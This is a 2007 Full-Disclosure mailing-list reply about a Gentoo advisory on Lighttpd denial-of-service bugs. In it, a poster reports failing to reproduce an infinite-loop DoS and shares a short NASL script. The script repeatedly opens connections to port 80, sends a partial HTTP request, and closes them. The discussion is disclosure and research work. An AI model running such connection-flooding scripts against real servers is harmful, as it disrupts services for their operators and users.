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| Subject: | Re: [Full-disclosure] [ GLSA 200705-07 ] Lighttpd: Two Denials of Service |
|---|---|
| Date: | Sat, 26 May 2007 16:07:35 +0200 |
Robert Jakabosky discovered an infinite loop triggered by a connection abort when Lighttpd processes carriage return and line feed sequences.
Could anybody reproduce this DoS? I tried this NASL script without
success. The server rejects connections for about one minute (because
of kazillons of sockets in TIME_WAIT), but it only affects the
attacking source IP and I could not launch any CPU loop.
$ more /tmp/ec.nasl
i= 0;
while (s = open_sock_tcp(80))
{
i ++;
send(socket: s, data: 'GET / HTTP/1.0\r\n');
close(s);
}
display(i, ' done\n');
$
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